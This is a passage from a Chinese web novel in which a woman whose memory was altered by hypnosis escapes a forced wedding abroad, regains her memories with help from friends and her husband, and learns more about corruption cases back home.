马耳他的医院里,林语晨因为喉骨发炎住院,看着越来越焦急的楚邵,生出股他真在为我担忧吗?
或许,他真得变了吧?
诸如此类的想法让她焦虑的心渐渐地定下来。
这日,林语晨似乎听懂一些英文,心里还奇怪:我本来就学会英文,在美丽国时怎么听不懂呢?
她缀着些奇怪的疑问,独自走出医院。
楚邵和耿昊在角落聊天。
耿昊说:“楚哥,现在真不是回去的时候,你可以带嫂子去欧洲转转,等她怀上再回国。到时候就是她父母也拿你没办法。
何况,姓赵的傻子一味让着她,根本拿她没办法。”
楚邵蹙眉:“我所有的产业、资金全部在国内,目前实力不足以抗衡晨芳国际。卷毛来电说,晨芳几个合伙人已经出手在整楚氏。那个叫林宝黛动员林语晨这几年攒下的人脉在找她。
市局、经贸那边也开展联合行动,对在建的四季大厦展开停工调查。赵有归在公报私仇。”
耿昊摸了摸唇角:“我们挟持大嫂的目的是让他们自乱阵脚,才能彻底拉姓赵下马。如今,他人回到灵市,而且出了手,让赵楠天彻底看清灵市属于他们的人脉。接下来我们只要后发制人。当务之急还是先把嫂子拿下,对吧?”
楚邵与他狡猾的眸光对上,转回病房看林语晨,发现人不在。
当即,整个人都慌了神,问过护士后找出去。
在海滩边他看到那个穿着米白碎花长裙、戴着丝巾的女人,顿时长出口气。或许,这时候与赵有归较劲相比,他更想把林语晨拽在手心。
如果林语晨在手,那些所谓的人脉就是他的人脉。
“晨晨……”
林语晨回头望去,嫣然一笑:“这里真美。”
楚邵握住她的手,沉淀着思绪,望向蔚蓝色的大海:“我们忙活大半辈子,总算能自己出来走走。如果你喜欢这,我们多住一段时间,等你住够,我们就去欧洲,你说好不好?”
显然,比起对楚氏的担忧,他更觉得留下林语晨的价值更高。
赵有归不过是虎头蛇尾,只顾着在灵市布局整垮楚氏,却不晓得关心林语晨的去处。
林语晨想起曾经带太太们出游的往事,摇头说:“不去。我想回家见爸妈。”
“你啊,劳碌命。他们在家很好。”楚邵紧紧地搂住她,“刚才发现你不见,我整个都慌了。晨晨,明天我们就去教堂举行婚礼。听说这里有个规定,一旦在这里结婚一辈子都不可以离婚。
这样,你和我就生生世世绑在一起,好不好?”
“不好。”林语晨推他,却被触发了的楚邵捏紧两臂,“啊……痛。”
楚邵紧迫地死盯着她:“哪里不好?林语晨,你嫁给我就是我的人。以前我错了,错得离谱。从今往后,我不会再犯傻,你才是那个可以陪我一辈子、帮我稳前安后的好女人。晨晨,我不准你离开我。我不准你离婚,不准!”
脑海里晃过当年林语晨拿出离婚协议书时的场景。
他自认为犯了错,但这个女人就没有错吗?没做过的事为什么不解释?因为她倔强、爱面子,不肯低头服软……
作为男人能怎么办?由她骂着、闹着吧!撕毁协议书就好。
紧张、嫉妒、担心再次失去一切的情绪折磨楚邵。
一旦林语晨拒绝,让他无法忍受地产生暴躁的情绪。失去她的后果让他无法承受更多。
林语晨被他的样子吓到,挣几下还是被他拥进怀,紧张又急切说:“如果你骗我呢?我不是一辈子走不了。”
——对,这就是林语晨,我的妻子,倔强狡猾的聪明女人。
“呵,我保证不再骗你。如果我再骗你,你就搞我,搞死我。”楚邵应道,慢慢地控制着脾气。
“我们在这里重新结婚,爸妈怎么能不在呢?你妈、你妹、你哥嫂子他们呢?”林语晨蹙眉,内心的抗拒让她找着各种理由。
“结婚是我们两个人的事。”楚邵拉开她,看着她日渐恢复血气的脸色,想起她为抗拒催眠,自我唤醒后拿手术刀抹脖子的场面。
筑梦师说她想以疼痛的代价感受真实,以迫切的呼吸唤醒沉沦的神智。这是一个果敢、自我防卫能力极强的心理师。
她满身鲜血的时刻,真让人又气又急。
因林语晨自杀,筑梦师的植梦反倒更轻易。
但是,筑梦师也说:因为植梦过程中一直在疼痛,所以效果不是特别好。你只能在短期内尽快完成你的目的。
不然,等她意识到哪些是真、哪些是假,一切都会穿帮。
而那个让她意识到真实的引子,绝对不能在她面前出现,否则她会立刻想起一切真相。
至于引子是什么?应该是那刻让她清醒过来做出反抗的存在。
而具体是什么只有她本人清楚。
楚邵想起筑梦师的话,本能觉得不应该让林语晨见到熟人甚至她的孩子。赵有归留在灵市对付楚氏,逼人现身,何尝不是对他和林语晨间最有利的局面。
三日过后,林语晨在楚邵租借的酒店准备参加自己的婚礼。
西式的白色抹胸碎边婚纱缀满晶莹的小碎钻,让人感觉置身地中海融金的海面,闪闪点点,像是做梦般。
在即将到来的教堂婚礼上,她需要签下自己的中式和西式名字。
林语晨找到准备送她前去教堂的耿昊,支吾说:“耿先生,那个……”
“嫂子,有话就直说,”耿昊笑眯眯,为即将圆满完成任务而自得。
林语晨踌躇着,担忧说:“这几天不知道为什么老是忘东西,记不太住我的英文名。我担心一会在婚礼上出丑,你可以给我写下来,让我再背一下吗?”
耿昊微愣,林语晨最近确实老丢三落四,应该是植梦后遗症。
他想找纸笔给她写下来,一时手头没有纸笔,又给她复述一遍。
然而,林语晨刚念完又支吾说忘记下一个字母,这让耿昊大为吃惊。
耿昊蹙眉看去:楚哥以后不会搞个傻子女人吧?
他打开随身包,拿出她的两张身份证明:“嫂子,你试着对照记下来,若实在不行,我去前台找笔给你写在手腕。签字的时候,你对着抄就行。”
“啊,我怎么没想到呢。这办法好,我就不用担心记不下来。你快去吧。”林语晨开心地笑起来,真像解决一个大麻烦。
耿昊被她的笑容感染,都说结婚时候的女人最美,林语晨也不例外。
他下意识点头,转身去前台借笔。
然而,等他到一楼擦过几名黑衣人,忽生出不对劲的感觉,回头望向走廊尽头的电梯,喃喃说:“她……不会在玩我吧?不对……劲。”
他依旧摇着头去前台借笔,再坐电梯赶回九楼,闯入待嫁客房,“嫂子?嫂子……”一眼望见扔在椅背开裂的婚纱和地上乱飘的头纱,“糟了……”
此时的林语晨被两名黑衣人带上一辆道奇紫色商务车,手里紧紧地抓着一张红底彩色照片。上面是一男一女,身穿白衬衫,彼此贴肩相靠。女子不是别人,正是林语晨,两条黑色的麻花辫,言笑晏晏的微胖五官,目光明亮有神。
而男人……刹那间,记忆里仿佛被阳光消弭的男人重新立体,包括在机场分别的男人脸似乎有参考的样板。
——这个人我认识,但他是谁?名字好像就在舌尖,却怎么都念不出。
中正的五官立在清癯俊硬的面容,让整张照片都有安全感。
“他……是谁?”
旁边的男人笑说:“林女士,你怎么会不认识他?他是你的丈夫,赵有归。你们于今年12月24日领证,寓意平安一生的意思。”
林语晨狐疑地看去:“我怎么可能犯重婚罪?你又是谁?”
赵有归?真有这个人吗?
那不是小时候隔壁邻居家的大哥名字吗?他不是入伍参军吗?
“啊……”赵有归!
“你怎么了,头疼?你受过伤?”男人露出疑惑的表情,“那个姓楚的对你做过什么?”
“楚邵?他是我的丈夫,除骗我能对我做什么?”林语晨感觉脑袋里像是有一只被锁住的箱子。那个让人陶醉的梦境正在忽隐忽现,却好似不够力量将它打开,让某些画面具象化呈现。
“……”男人愣了愣,“我姓常,叫常山,驻马耳国的大使。你的丈夫拜托我找到你,并请我把你安全送上回国的飞机。
我们已经暗
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中观察你们五天,趁楚邵离开的机会把你带出来,送你归国。”
林语晨压住做疼的脑袋,接过他的身份证明:常山,驻外代表。
“你记得陆知云吗?他和我是朋友,曾经共事过一段时间。这次是他联系我。”常山发现林语晨对这个名字全无反应,就知道她一定受到某种伤害。
“我想你应该要做个全面检查。”
林语晨半信半疑地还给他证明,摇头说:“我想回家见父母。对了,赵晓琳,她是我的主治医师。”
常山眨眨眼,心生好奇下没再刺激林语晨。
一名黑衣人说:“我们敲门时,林女士刚好撸下头纱扔在地上,正准备出门。她应该不想结婚吧。”
常山更疑惑:“若是这样,林女士怎么会不记得你的先生赵有归呢?难道你不是为赵先生逃婚吗?”
林语晨“啊”了声:“我逃婚是因为楚邵搞什么国外婚礼,而且不能离婚。”
从兜里取出一把零钱,有些生气地说,“花父母的钱叫幸福,花自己的钱叫本事。我穷到问他拿钱,简直伤我自尊。”
手里这点钱是这几天买东西,问楚邵要钱后攒下来的零花。
林语晨一辈子能干,除问父母要钱外,什么时候伸手问男人要过钱?这种生活中小小的点滴行为严重伤到她的人格。
她感觉像是被楚邵踩在脚底。
本能就抗拒这样的安排,包括什么教堂婚礼、一辈子不离婚……出生带来的人格、养成的自尊让她无法忍受被动地乞讨似生活。
她选择逃离这样的安排。
常山和两名黑衣人一脸无语。
这个女人的思想真是与众不同,甚至比许多外国女人都要独立了。
不过,错有错着,省得大家还要费一番口舌解释。
*
楚邵在教堂听说林语晨逃婚,扔下牧师,跑回酒店与耿昊汇合。
两人询问酒店服务员,最近没有国人入住,排除林语晨被人带走的可能性。
楚邵叉着腰来回走动:“她应该去机场。但是,她没钱坐飞机。我们去机场找她。”
耿昊一脸愧疚,又试图为办事不利找借口:“楚哥,她是不是……”不想嫁给你。
楚邵知道他要说什么。
“林语晨的自尊心很强,不喜欢被人安排。这两天我处处管着她,让她不舒服。她又是独生子女,什么事都喜欢自己做主。”
“这不就是被宠坏嘛。”耿昊也是服气。
“你见过被宠坏的人可以重回高考、自费赴美留学吗?她可不是简单被‘宠坏’。”
耿昊顺着他的话:“独生子女,难免受宠些。”忽然又精神起来,“楚哥,我留个心眼,没把护照给她。她没有护照出不了境。”
楚邵一把拿过他手里的证,长松口气:“咱们要尽快找到她,否则,”一切前功尽弃,连灵市的布局都会出问题。
楚邵一想到她会奔赴赵有归就心急火燎。
今非昔比了,他不会再傻乎乎相信别人,也不会再冲动行事。
他强行压制在脑子里乱窜的念头,喊上耿昊直奔机场。
机场里,在常山和黑衣人的护送下,林语晨由乘警护送上飞机。她抓着常山的袖子,有些不放心。
常山安抚说:“林女士,你尽管上飞机,地面上的事我们来处理。你上去后若有人找你,你也安心,乘务长会帮你躲避危险。我们已经安排好一切。”
林语晨嚅唇想说什么,最终被乘警和乘务长带进机舱。她坐在安排好的位置,拽着那张红底照片,抚摸男人憨笑的脸颊,喃喃念着:“丈夫?赵有归?”
在等待飞机起飞的时刻,楚邵和耿昊冲进机场。
常山让人阻拦两人,义正严词说明楚邵现在的行为违反国际法律,属于限制她人的人身自由。
耿昊拦住常山几人:“楚哥,你先去找人。”
楚邵趁机绕过去,强闯闸口试图冲上上机过道,被机场警务人员扣住。
飞机上的林语晨被乘务长叫起来,带她到货舱处躲避。等机场告知人已经被控制,乘务长才把林语晨带出来安置在座位。
片刻后,飞机正式起飞,带着一群盼着回国的旅客返回祖国。
91. 断臂膀
林语晨在飞机上捏着照片,不知不觉睡过去。
乘务长数次来看她,发现她睡得很沉,忍住没叫醒她。
飞机在京市落地,林语晨从一个长长的梦境里恍惚过来,不明不白跟人下飞机,被送到一对男女身边。
禾凉梦看着发痴的林语晨,惊讶问:“语晨,你怎么了?”
“你……是……”林语晨对她有印象,像是做过的梦里人物。这让她产生强烈的现实和梦境碰撞,有些犯糊涂。她环顾机场四周,看着匆忙的旅人,以及墙壁上的挂钟,赫然看到1984年1月字样。在国外,这些日期是模糊的,甚至被楚邵、耿昊有意规避……
“怎么……会这样?你是……”林语晨看着同样吃惊的禾凉梦,仿佛大梦将醒时,对这个人的感觉很熟悉,却怎么都回想不起梦里发生过的具体细节,比如这人的名字就在舌尖,却吐不出来。
她的脑海里蹦出一个心理学上的专有名词:舌尖效应!
林信华看她捂嘴的动作,不由蹙眉:“林语晨,凉梦是你大学同学,三年室友。我是林信华,你可以不认识我,但不能不认识她吧?当初,我瞧不上你的功利,又被你的实力带入人间正道,你记得吗?
对了,我小姑是你在美的室友兼合伙人,林宝黛。你记得吗?”
林语晨想要点头,却好似被问住,这些名字都很熟悉,就在舌尖,与他们的脸一一匹配,潜意识生出拒绝“这是真实”的想法。
挣扎的面容和涣散的眼神让对面观察她的禾凉梦心里一惊。
林信华直言:“凉梦,我看常山叔叔说得是真事。别问了,咱们先把她送医院吧。”
“等等。”禾凉梦是心理专业,对旁人的面部表情、神态语言有科学的解读。
她捧起林语晨的眼睛瞧了又瞧:瞳孔微散,证明林语晨近来不论是休息还是神智都不怎么好、眼神也不集中。
又打开林语晨脖子上碍眼的丝巾。京城大冬天,谁戴丝巾啊。
脖子上露出一道5cm长的暗红色伤口,像一支箭矢,刺痛禾凉梦的眼睛。
“林语晨,你究竟发生什么事?我是凉梦啊。”
林信华倒抽一口冷气:“这要是让灵省那边的人知道得掀翻天。我姑这么喜欢她,不得搞死害她的人。”
林语晨知道这两人为自己担忧,暗暗放下戒备,拿起手里的照片,指着上面的男人。
“你们认识他吗?”
禾凉梦看着照片上的衬衣男人,面容硬朗,气清神明,确实让人印象深刻,比张安国多一份血气或说英雄气概,轻笑了声:“这就是比张安国还吸引你的男人?”
林信华现在的事业发展到外省,经常往外跑,也听小姑说起过林语晨的丈夫。
“应该就是他,赵有归。”
“赵有归?”这是林语晨第二次听到这个名字,诧异又紧张问,“他不是我小时候的隔壁邻居吗?就是做梦,这也太荒谬了,我和他……不熟。”
禾凉梦倒吸口凉气,寒冬腊月都没有这幕让人震惊。
她试图让语晨放松下来:“所以,你的故事叫青梅竹马胜过天降学长,呵。语晨,你别怕,我不会害你。通过与你的谈话,我知道你对我们留有印象,但是……脑子里像是蒙层纱,对不对?”
“嗯嗯,我就是这个感觉。我好像做场梦,梦里有你的模样,配上你的名字倒是清楚一些,但是,又有个感觉告诉我:你是梦,是假的。可是……”
林语晨转向墙上的挂钟,尴尬地笑着,好像过去发生的一切才是假象。
所以,到底什么是真什么是假?
“你的感知和记忆被人模糊,有人对你进行催眠,植入一个让你无法分辨真相的魔盒。当你认为这是真实,魔盒中的反潘多拉效应降低你探知真相的动力。当你认为这是虚假,这个效应封锁起来,使得你步入对方设下的迷雾丛林。”
禾凉梦握住林语晨的手,“我带你去找教授。他一定有办法帮你解决这个问题。”
林信华哎了声:“不送她回灵省吗?那边人还等着呢。”
“这样送她回去有什么用?若是不尽快解决她的问题,我担心时间一长,她会迷失在真实和虚幻。
你不懂,这种事可大可小,对于拥有她记忆的我们,突然知道她不记得我们,或许你不觉得有什么,但她的家人呢?
时间一长,林语晨会被这种状态折磨发疯。”禾凉梦直接推开林信华,拉林语晨往京师心理系奔去。
林信华嚷嚷:“好嘛,我又没说不带她去,总得跟我小姑、灵省那边报备一下吧。”
*
赵有归接到林宝黛的电话后愣好一会,沉着气问:“除这个问题,她其它状态好吗?”
“应该还行。信华会及时汇报她的情况给我。我有消息再通知你。”林宝黛说完,顿了下,“你先别冲动行事,再忍一忍吧。”
赵有归答应,挂断电话。
他暗吸口气,林语晨回国,就可以把楚氏埋在灵市的眼线抓起来。直接拨打灵市市局电话:“老钱,耿昊一落地,就把他抓了。”
电话那头的钱育才点头:“他之前留下的证据都齐全呢,你放心。楚邵呢?”
“卷毛那边探查怎么样?”赵有归问。
“金翠城套到一点消息,林菲儿同港城那边有合作的药店,长期供应她一些特殊药物,供天上人间的顾客使用。
华法林钠对她们的千金别墅没什么用,应该不是从她那边入。”钱育才对赵有归母亲的案子也挂年多,心里也担心时间线再拉长,怕是什么证据都不会留下。
“不然,我们把楚邵抓起来审吧?我们有卷毛入赵家村的痕迹,背后肯定是他。”
“没有直接证据链,定不了他的罪。现在晨芳能拿到只有一些材料不符建筑行业标准的问题,不够力量把他钉死。”
钱育才轻泄口气:“行贿呢?这还不够关他几年啊?”
赵有归没出声,前世的楚邵死得太轻易,今世他不能简单就被抓。
林语晨想做,就帮她彻底做成,为自己也出口气。
“先让他回国入境,回到楚氏吧。”
简单的一句话让钱育才感觉到一股浓重的杀意。赵有归是铁了心要楚邵一辈子在里面出不来。
*
苏市那边,李大队长接到省厅的电话,让警员小王把局里扣押的单剑雄先放出去。
单剑雄拉起衣襟,回头看向市局警员:“你们都给我等着,没凭没据就抓我,说我受贿。你们以为放了我就了事?我找省厅告你们去。”
李大队长看着他大摇大摆离开,呸了声:“混账东西。”
警员小王提出疑问:“灵省在搞什么鬼?如今我们打草惊蛇,不趁机把人抓了,等着他毁灭证据再反咬我们一口吗?这狗东西!”
李大队长哎了声:“这家伙在局里什么都不肯说,嘴严得很,提前演练过呢。省厅估计想打回马枪。你和队友两班倒盯紧他,等他和同伙聚了头,再一起揪出来。”
“是,队长。”小王同志答应,赶紧去安排。
赵楠天听说单剑雄从苏市市局出来,在灵市得他松口气,提醒单剑雄:“你现在什么都不要做,手里那些钱也都收好,别暴露。”
单剑雄嘿了声:“赵老哥,你是出苏市的泥坑,钱也有着落,利滚利给你生钱。你想想办法,把小弟也弄过去。”
“弄来灵市?你当灵市是什么好地方?我们说好,你在苏市大本营管着我们的退路,我在灵市开拓。你别说西就向东东。”赵楠天点根烟,听对面发出一声轻笑,也拉起脸皮,“老单,我没给你好处吗?你的钱给菲儿打理,每个月她不给你报账?”
轮到赵楠天嗤了声,“你知道老师退休,不管这茬事。咱们好不容把赵有归弄走,楚邵这家伙又把人招回来。这几天我也提心吊胆,正催人找他回来。你放心,若咱俩出事,不论是你在苏市,还是我在灵市,咱们都能先弄死他。”
证据是绝对不能外流。
单剑雄明白他的意思:“行,有哥这句话我就放心。我现在也在物色呢,回头真被查,找个替罪羊推出去顶一顶。”
所以,哥,别把小弟真落在苏市给你们当替死鬼。你赵楠天就不是什么好东西。我得另找门路,好准备跑路。
“赵哥,先给我弄笔钱存境外吧。菲儿有那个门路,可以给咱们留个后手。你说是不是?不然,小弟要是再被弄进去,保不齐这嘴什么时候就不严了。”
赵楠天气地眯起眼,又扯起笑容:“行。你放心,你的利润都给你存着。等她办好,我把户头给你。”
说完,他直接挂断电话,气得拍在桌面,狠吸两口烟后按进烟灰缸。
单剑雄进去过,鬼知道他交代什么,这人是大家曾经在苏市的证据,绝对不能再留。
思定后,他如平常工作,直到半夜,让司机带去林菲儿在的公寓。
京师的教职工住宿处,林语晨在前导师的帮助下探索记忆深处的异常。
“你看到什么?”
林语晨:“医院、病床……”
“闻到什么?”
“消毒水的味道,病入膏肓的死气。”
“这些都是假的。你能在这个梦境里找到门,打开后醒来吗?”
躺椅上的林语晨瞬间抓紧衣袖,蹙紧眉宇:“不,它们不是假的,就是真实发生过的事。我要病死了……我好舍不得爸妈,我好不甘心……救我。”
“谁出现救你?”
“楚邵!他……带我去美丽国,他们的科技发达,有办法治好我的癌症。”
禾凉梦一下子捂住嘴,向导师比划:林语晨根本没有癌症!之前,她还去京医院做过全身检查,特别做过生育检查……
导师不由蹙起眉:“但是,她很坚信那些假得是现实。我找不到可以入手的点。”
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“语晨,现在你身体健康,已经远离医院。”
“是的。我已经健康了。”在一声“你可以醒来”的声音中林语晨睁开眼睛,疑惑地看向两人,“我……醒了?”
“你醒了。语晨,你虽然不是我成绩最好的学生,但是你的观察力和洞悉能力确实最强。你告诉我,你脖子里的伤是反抗催眠留下吗?”导师谆谆善诱地问,“我曾在课堂上说,抗拒催眠的办法就是感知真实。你是为真实才选择自我防卫?所以,你觉得什么是真实?”
林语晨捂着伤口,怀疑地看去:“我是咽喉癌,喝酒喝坏嗓子。”
“胡说什么!你大学三年,我们一直在一起,根本没看到你喝过酒。你怎么会得这样的病。”禾凉梦急起来,蹲在林语晨面前,“你是不是为保持清醒,才做了自残的事。语晨,你摸摸我,我是你最好的朋友,我才是真实。”
“我……没有说你假。其实,我也觉得不对劲,但是,我说不上来。我想看……”林语晨在衣兜里翻找,找到那张红底照片,“见见他。”
禾凉梦和导师对视一眼:“老师,不然……”
“熟悉的人也许更了解她的状况。灵市医大有心理系老师,虽然他们没有科室,但是有教职人员,我可以给她写介绍信,请那边的人帮忙关注她的意识变化情况。”
“谢谢导师。”禾凉梦松口气,拉着林语晨,“好吧,我送你回灵市找他。”
导师等禾凉梦把人送出门又喊她回来:“凉梦,林语晨的情况很特殊,不像是失忆,更像是有另一段很难分辨真假的记忆覆盖原本现实的记忆。如果我们把之前的记忆理解为前世,现在的记忆为今生,你这样想的话就能理解,无论哪一段记忆都是真实发生过,只是有人告诉她,现在的记忆是梦,存在于前世记忆的梦境片段,就会造成现在这种唤不醒,却又清醒、实际模糊的状态。”
禾凉梦一脸老师你在说什么?
“老师,我不太理解。”
“没关系。如果她见到想见的人或许会分清楚记忆只是记忆,现实是现实。其次,林语晨有反抗的行为,说明潜意识是抗拒被催眠。这是最重要的触发关键点,只要有那个钥匙,就能让她彻底清醒过来。”
禾凉梦恍然说:“照片上的男人,赵有归!”
“有可能。”导师点头。
“谢谢老师,我先走了。”
导师很感兴趣说:“如果解决问题了,你把她带回来我见见,这是一个很有意思的课题。”
“呵呵呵……”禾凉梦尬笑了声,一口答应。等她追出去时,不见林语晨,只见林信华站在林荫道旁,奇怪问,“语晨呢?”
林信华指了指前面:“安国来了,和她聊天呢。”
禾凉梦啧了声。
张安国说了很多近况,林语晨却心不在焉,终于忍不住问:“语晨,我们还有机会吗?”
林语晨摇头,递着相片:“我好像结婚了。所以,你说得……应该不可能。”
张安国去接照片,被她抓得很紧,一点不松力,拉了几下泄了气:“原来被你握在手心是不会放手啊。林语晨,我告诉你,我也是很好的男人,你放了手是你的损失。”
林语晨轻轻地“啊”了声,看向不远处偷看的女人:“那是你的女朋友吗?”
张安国看到缩头的俞柳艳,轻叹口气:“对,她是我女朋友。所以,我不是没人要的小丑,或是谁的替代品。”
林语晨看他大步离去,一脸莫名其妙。
俞柳艳做好心理建设从树后走出来,以为又会遭遇张安国的冷脸,正想同林语晨打声招呼,被张安国一把拽过去。
“安国……”
张安国看着容色艳丽的女人,低头亲在她的唇角,回头看去:“张安国要什么女人没有,不是非要你林语晨。柳艳,我们走。”
俞柳艳有些开心,也泛出伤心,使劲地挣开张安国的手:“我俞柳艳也不是什么替代品。如果张安国只是把我当林语晨的替身,抱歉,我不做。哼。”
张安国看着跑走的俞柳艳,想起一年来她的殷勤示好,甚至痛苦难熬的夜晚,是俞柳艳陪他一起渡过。
突然,心里生出一丝后悔,回头看向义无反顾转身离去的林语晨,自嘲地哂笑了声,一巴掌打在脸庞,快步向俞柳艳追去。
有些人不死一次心就是看不明白,等失去才知道曾经得到过的人有多珍贵。
禾凉梦抚了抚林语晨的手:“没事吧?俞柳艳不知道算是苦尽甘来还是执迷不悟,追张安国一年,追到是追到,不知道往后怎么样?”
林信华轻笑:“安国算是彻底栽你们寝室了。不知道是他更倒霉还是大幸运。不过,他是男人,一旦做人丈夫,这点责任心还是有呢。我懂他。”
禾凉梦白去:“你懂个球。我送林语晨回灵省,你呢?”
“老婆去哪,我去哪。妻唱夫随。”林信华笑嘻嘻,逗乐禾凉梦。
92. 说开了
林语晨在海市下的飞机,那刻,她感觉自己是小丑。自从在美医院醒来后,什么事都被别人安排,有种自己根本没有真实活着的感觉。
在海市半夜的空荡机场里,她一把推开禾凉梦,压抑着问:“你不是说带我去灵市吗,为什么来海市?你是不是也在骗我?这里根本不是……”
禾凉梦正要解释,见她的眼神盯在某处,语晨眼里的焦躁在那刻流散,当下跟着转过去。
林信华也愣了下,望向大步走来的高大男人:“这……就是赵有归,林语晨的丈夫吧?”他看起来确实比张安国可靠的样子。啊呸,我可是安国的合伙人。
赵有归远远看到他们一行人,快步走来,盯着呆住的林语晨,观察她的一切。
“语晨……”
林语晨被他抱在怀里,紧绷的身体仿佛有记忆般松软下来。
她感觉到他的温度、真实,记忆里消弭的身影在机场的灯光里重新汇聚起眼前这道人影。他们在记忆表层重叠、完整。——他真实存在。
脑子里那只散发毒药气息的植梦魔盒正在消失,记忆的画面像时钟在倒流。
前世,林语晨病入膏肓,临死前已经看不清任何人,只知道有名调查组员来汇报楚邵的结局:林女士,感谢你的配合和提供的线索。楚邵带林菲儿和女孩在逃亡过程中遭遇车祸。大人当场死去,孩子在抢救。
林语晨在低厚的声音里松掉最后一口气,再睁眼,回到1980年的初春。
——这是她的今世,重生归来的今生今世。
不久前,林语晨打扮的文艺又清爽,拉着赵有归走进深市的民政局。产后的她第一次出门,而且去领证,整个人散发女性最温柔神圣的光芒,美得让工作人员都愣了下神。
两人在工作人员的一再确认下,肯定地回答:“对,我们要结婚。”
“嗯。我们确定要结婚。”
两人相视笑着,融化在彼此温情的目光里。
工作人员本是见多分分合合,也被两人的幸福感染,由衷一声恭喜,让两人去隔壁拍照再办理证。
民政局的摄影师提醒:“靠近点,对。女生的辫子要不要理一下,一前一后显得有层次感?”
赵有归听话地帮她弄辫子。
林语晨摇头:“我结婚是认真的,一前一后算什么,咱们要正正经经的,就这样,规矩又斯文。”
她把手放在膝头,按摄影师的话,与赵有归彼此微微靠拢,拍出这张被她拽在手里的照片。
此时,林语晨的记忆分层、今世的记忆逐渐清晰。
前世就是前世,今世就是今世,真实发生着,只是生活的轨迹在记忆里不断交错,偶尔让人觉得命运的可怕。
她想起两次死去的沈秋霞,眼泪刷地冲出来,哽住了:“有归……哥……”
“语晨!”赵有归松开她,看着她滚出的眼泪,替她抹去,“没事。我和爸妈、小鱼儿都在等你回家。”
林语晨哽声点头,聚焦清明的眼神落在一旁禾凉梦和林信华处,仿佛久别重逢般喊了声:“凉梦。”
“你理会过来了?”禾凉梦近前,从赵有归怀里抢过语晨的手,“你……感觉到它了?”
“嗯。我自己就是心理师……”说到这,她下意识捂在脖子处的毛线围巾,被赵有归轻轻地打开一角,“这确实是我反抗时留下的伤,被他利用成治疗癌症的手术借口。我没能抗住他们的催眠植入。”
一道疤痕显露出来。赵有归的心头刺痛,眼神怜惜中带着隐忍,忍住心头对楚邵的怒火,替她戴好围巾。
他听懂林语晨的意思:楚邵利用林语晨前世的疾病,让林语晨深信她是因为治病去美国。
陆知云在不久前已经打来电话,说是美警方正在抓那位非法植梦师。
通贯楚邵的行为和动机,不难猜出他的目的:他想要林语晨不记得现在这些人,只记得上一世的事情。这个混蛋渣滓。
“太好了。你的先生果然是你的钥匙。”禾凉梦作为心理师都感觉这件事奇妙。
赵有归向两人表示感谢:“林先生、禾小姐,谢谢你们送语晨回家。现在时间也晚,酒店已经定好,请你们先去休息。”又朝语晨说,“我带你回家,爸妈听说你会回来,都还在等你。”
林语晨嗯了声。
林信华:“好。明天我们再去府上拜访。”
赵有归点头,让司机先送两人去酒店,自己带林语晨坐夜班公车回去。
深夜的电轨公交上非常安静,只有零星下夜班的工作者。
林语晨靠在赵有归的肩头,低声说起这段时间的经历:“之前一直糊里糊涂,看到你什么都清楚了。”
“楚邵和一个叫耿昊的人把我带去特殊心理师的地盘,试图给我植入我和楚邵没有决裂的意念。
可是,我自己本身是心理师,很快察觉到潜意识出问题。”
“所以,你就选择激烈的方法?”赵有归再次摸上她的颈项,“还疼吗?”
——我让他加倍还回来。
“有点发凉。”林语晨说笑下,“海市也挺冷的。”
赵有归抱住她:“对不起,语晨,我没保护好你。”
“坏人处心积虑谋划,我们怎么可能完全防得住?又在那么远的异国他乡。”林语晨知道他为沈秋霞的事自责,如今又发生这种事,赵有归心里一定不好受,“我在前世的记忆里看到你。
我在医院确诊癌症后,你从我的身边走过去。
那时候我一点感觉都没有,却在植梦师回溯的过程里看到你。
在记忆幻境里,我走回去推开医生的门,看到你站在那。那一刻,你消失了,我却知道:你在告诉我真相。
前世我生病的时候真得见过你吗?”
赵有归吸口她的气息,用大衣包裹她:“你没记错。语晨,我曾经给你写过信,要把所有一切告诉你。
你在医院确诊那日,我确实在你的附近,而且从你的身边走过去。
我是灵市黑色保护伞集体的调查组组长,查到楚邵与罗恒、赵田来往密切。当时,灵市还有两起情节特别严重的案件,需要一起并案调查:第一件是淳于家三人的死亡事件,包括淳于芳。”
“芳芳她?”林语晨惊讶地看去,在赵有归幽暗的眼神里得道确定,“怎么会?因为她堂姐淳于蓝的事?”
“是。她的大伯和婶子屡次上市局举告孙不二的宝誉歌舞厅,后来大伯被打的半身不遂,又因治疗不及时,先一步病逝。她婶娘也是因女儿、丈夫先后过世后悲伤下病逝。
淳于芳性情坚硬,接着他大伯的遗志继续上告。期间,她还揭发林菲儿和陆天的事,但是这消息并没有完全报出来,她也步了她大伯的后程,被打瘸,错失参加当年高考的机会。”
前世的林语晨不认识淳于芳,当真不知道她的经历那么惨。结合今世在药店前阻拦淳于芳的举动,庆幸把她的事告诉赵有归。
“你知道这些故意去找淳于芳,阻止她步上前世的轨迹。”
“这也是因为你先提醒我,正好给我一个参与进去的借口。”赵有归笑了下,摸了摸她的头发,“是你改变淳于芳一家人的命运。”
如今灵市的商场里,淳于家可谓风生水起。
林语晨一把按捺住移动的头发,垂敛眸光。
赵有归知道她在担心什么,安慰说:“别怕,过几天就长出来了。”
“嗯。”林语晨又问,“芳芳后来学她大伯举告上去了?”
“嗯。她写很多信寄往检察院,得到回应那天,她本人准备前去提交证据。在前往目的地的路上被不明谋杀。”赵有归暗吸口气,“因为这件事引起重视,才有了我带队下灵市。当时,我们已经对此展开半年多的调查,已经收获很多信息。”
“你说得另外一个案件是张家灭门案吗?”林语晨扬眸,“张家也是受害者?”
“是。张家
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灭门案发生在淳于芳大伯死去的次年。你应该听说过张叔叔的为人,他触及一些人的利益,以及信错朋友,遭至灭门。这一世,张天鸿在你我的提醒下,已经猜到不少事。他已经在对付幕后主使。”赵有归说完,问道,“累吗?”
“不累。我好像睡了好长一觉,半个月来总感觉头重脚轻,像是飘着一样。”林语晨蹙眉,“你不是说在医院见过我?你是特意来找我!”
赵有归在放松下莞尔笑了声:“我带人进入灵市后按组里制定的方案,先去拜访林叔、林姨,本是想探清楚你家的内部情况。”
正好得知你们夫妻不慕,林叔林姨气楚邵在外不三不四等情况。
“原来是这样。我爸还提起过你几次,念叨你重情重义……好吧。你从我爸妈处知道我和楚邵的关系不好,所以决定找我做突破口。”林语晨自然联想,“你来医院是找我说这事。”
“医院流动人口大,进出说话不容易被人怀疑。”赵有归解释,“但是,你失魂落魄离开,我就进去问医生关于你的病情。”
“你知道后做了什么?”
赵有归想起在天桥下看她发呆的场景:“没做什么,给林叔林姨打个电话。”
